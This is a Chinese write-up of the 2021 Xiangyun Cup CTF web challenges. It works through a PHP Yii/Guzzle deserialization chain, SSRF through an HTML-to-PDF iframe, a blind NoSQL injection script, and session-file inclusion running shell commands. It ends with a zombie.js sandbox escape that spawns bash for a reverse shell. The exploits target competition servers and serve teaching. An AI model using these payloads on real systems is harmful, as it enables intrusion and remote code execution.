2021祥云杯_web_wp

比赛的wp以及赛后复现,这次比赛总的赛题也更偏向于js和java了,看来php要逐渐退出舞台了吗?(doge

ezyii

yii链子大全见于https://xz.aliyun.com/t/9948#toc-0

可惜等我开始做题时,文章作者已经发现影响比赛于是先把涉及比赛的第四条链子下了,下面是对于这个链子利用的分析

首先出题人还是非常友好的吧要用到的类函数才给了我们(感谢善良的出题人)

题目明显反序列化,给的源码中也只有一个__destruct

于是入口变的明显起来

也就是这里

Untitled

那么就来看看stopProcess

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {

            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

这里有两个可以调用魔术方法的地方,一个是process调用函数可以触发__call,还有就是后面那个字符串可以触发__toString

唯一的__call

Untitled

唯一的__toString

Untitled

调用函数的地方有两个一个是processes,一个是getCommandLine,processes在if里,也没法利用,于是就看看下面那个getCommandLine,他是可以和__toString一起配合使用的,那么我们的目标就变成让让process→getCommandLine返回一个有__toString函数的类,也即AppendStream,于是只要让__call返回AppendStream即可成功调用__toString

而__toString是直接进rewind,然后到seek,seek函数如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public function seek($offset, $whence = SEEK_SET)
    {
        if (!$this->seekable) {
            throw new \RuntimeException('This AppendStream is not seekable');
        } elseif ($whence !== SEEK_SET) {
            throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
        }

        $this->pos = $this->current = 0;

        // Rewind each stream
        foreach ($this->streams as $i => $stream) {
            try {
                $stream->rewind();
            } catch (\Exception $e) {
                throw new \RuntimeException('Unable to seek stream '
                    . $i . ' of the AppendStream', 0, $e);
            }
        }
    }

可以调用其他stream的rewind函数,那先来看看哪些是有这个函数的,发现只有CachingStream

Untitled

CachingStream的rewind函数直接调用seek,具体如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function rewind()
    {
        $this->seek(0);
    }

    public function seek($offset)
    {

        $byte = $offset;

        $diff = $byte - $this->stream->getSize();

        if ($diff > 0) {
            // Read the remoteStream until we have read in at least the amount
            // of bytes requested, or we reach the end of the file.
            while ($diff > 0 && !$this->remoteStream->eof()) {
                $this->read($diff);
                $diff = $byte - $this->stream->getSize();
            }
        } else {
            // We can just do a normal seek since we've already seen this byte.
            $this->stream->seek($byte);
        }
    }

发现可以调用自己的read函数,即下面这个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function read($length)
    {
        // Perform a regular read on any previously read data from the buffer
        $data = $this->stream->read($length);
        $remaining = $length - strlen($data);

        // More data was requested so read from the remote stream
        if ($remaining) {
            // If data was written to the buffer in a position that would have
            // been filled from the remote stream, then we must skip bytes on
            // the remote stream to emulate overwriting bytes from that
            // position. This mimics the behavior of other PHP stream wrappers.
            $remoteData = $this->remoteStream->read(
                $remaining + $this->skipReadBytes
            );

            if ($this->skipReadBytes) {
                $len = strlen($remoteData);
                $remoteData = substr($remoteData, $this->skipReadBytes);
                $this->skipReadBytes = max(0, $this->skipReadBytes - $len);
            }

            $data .= $remoteData;
            $this->stream->write($remoteData);
        }

        return $data;
    }

而这个read函数,可以调用其他类的read函数,于是我们可以调用PumpStream的read函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function read($length)
    {
        $data = $this->buffer->read($length);
        $readLen = strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;

        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += strlen($data) - $readLen;
        }

        return $data;
    }
    private function pump($length)
    {
        if ($this->source) {
            do {
                $data = call_user_func($this->source, $length);
                if ($data === false || $data === null) {
                    $this->source = null;
                    return;
                }
                $this->buffer->write($data);
                $length -= strlen($data);
            } while ($length > 0);
        }
    }

同样,也就可以使用pump,于是在pump里,我们就可以使用call_user_func这个回调函数,不过我在比赛时也是卡在了这里,因为length只能是数字,实在想不到采用什么利用姿势才能达到catflag的目的,甚至实现rce,下面是事后看daolao的wp学习的

题目给了一个SerializableClosure类的,这个类允许我们序列化一个匿名函数(正常情况下是不能序列化匿名函数的),而这个类存在一个__invoke方法如下

1
2
3
4
public function __invoke()
    {
        return call_user_func_array($this->closure, func_get_args());
    }

触发时调用如上代码,那么整个payload的最后一环就由一个我们可控的任意代码执行的匿名函数解决

那现在就简单了通过pump的call_user_func来触发 __invoke进而触发参数完全可以自己把握的call_user_func_array(太秀了这步,之前完全没想到)

exp(来自先知社区

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

Secrets_Of_Admin

账号密码在database可以看到,也可以看到flag在superuser下

Untitled

主要是这三个接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                console.log(checksum)
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

先看看这三个路由分别有什么用

/admin路由可以自己输入内容,然后用HTML转PDF渲染一个PDF出来,过滤严格,没发加上标签,而/api/files路由则必须本地访问,可以添加记录且所有参数都可控,最后/api/files/:id路由则通过checkSum来读文件。

第一个可以用数组绕过,从而可以使用[]绕过

接下来利用第二个路由进行ssrf

最后通过第三个路由读取

1
<iframe src="http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=任意"></iframe>

PackageManager2021

index.ts里有个注入点

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin"`).exec()

害,还是太菜了,对nosql注入了解不多,一直在想怎么xss了,有空好好学习一下nosql注入(todo++

payload

1
bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin

这样就可以一位位的拿到密码,拿到密码之后登录上去就可以看到flag了

来自https://cn-sec.com/archives/470638.html的exp脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
passwd = ""
for i in range(0,50):
    for j in range(32,127):
        burp0_url = "http://47.104.108.80:8888/auth"
        burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
        burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573"||(this.username=="admin"&&this.password[{}]=="{}")||"".format(i,chr(j))}
        res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
        if res.status_code == 302:
            passwd += chr(j)
            print(passwd)

安全检测

后台可以填url,明显是ssrf,如果构造报错,那在返回中会有file_get_contents出现

第一反应肯定是试试伪协议,filter这些被过滤了

没啥思路,于是比赛时就到此为止了,赛后看wp才知道有个admin目录(又忘记扫目录了

里面有个include123.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){    
    if (preg_match( "/$value/i", $u )){
        echo "检测到恶意字符";
        exit(0);
    }
}

include($u);

show_source(__FILE__);
?>

在这个过滤下无法包含vps也无法通过日志

于是就只能试试session了

于是成功执行函数

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=phpinfo();?>

看目录下内容空格用%09

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=`ls%09/`;?>

flag被过滤了利用?或者*啥的过滤一下就可以了

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=`.%09/getfl?g.sh`;?>

crawler_z

这题当时完全没思路,只能赛后看看大师傅们是怎么做的

主要功能在user.js

功能就是用户可以输入一个网址,然后通过验证爬虫就会去爬那个网址

实现爬虫功能的是一个叫zombie的库

然后参考https://ha.cker.in/index.php/Article/13563来进行漏洞利用

1
2
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;

checkBucket函数下,看到bucket的要求,必须以http:或者https:为开头,且必须包含oss-cn-beijing.ichunqiu.com

然后还得过

1
2
3
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
    res.redirect(`/user/verify?token=${authToken}`)
}

这里是完整的verify路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.get('/verify', async (req, res, next) => {
    let { token } = req.query;
    if (!token || typeof (token) !== "string") {
        return res.send("Parameters error");
    }
    let user = await User.findByPk(req.session.userId);
    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });
    if (result) {
        try {
            await Token.update({
                valid: false
            }, {
                where: { userId: req.session.userId }
            });
            await User.update({
                bucket: user.personalBucket
            }, {
                where: { userId: req.session.userId }
            });
            user = await User.findByPk(req.session.userId);
            return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
        } catch (err) {
            next(createError(500));
        }
    } else {
        user = await User.findByPk(req.session.userId);
        return res.render('user', { user, message: "Failed to update, check your token carefully" })
    }
})

大概意思是输入一个正确的token,就会把用户的personalBucket放到bucket里面,就可以让爬虫去访问了

思路为把bucket设置为我们自己的vps

然后在我们的vps上放置一个oss-cn-beijing.ichunqiu.com.html恶意文件

修改bucket为http://ip/oss-cn-beijing.ichunqiu.com.html

最后通过而已文件来反弹shell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
var codeToExec = "var sync=require('child_process').spawnSync; " +
    "var ls = sync('bash', ['-c', 'bash -i .......']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
// end exploit

var express = require('express');

var app = express();

app.get('/test', function(req, res) {
    res.send("<script>" + attackVector + "</script>");
});

app.listen(3000);

还有一道是java的,因为不会java,java水平停留在应付考试(太菜了),所以先摆烂了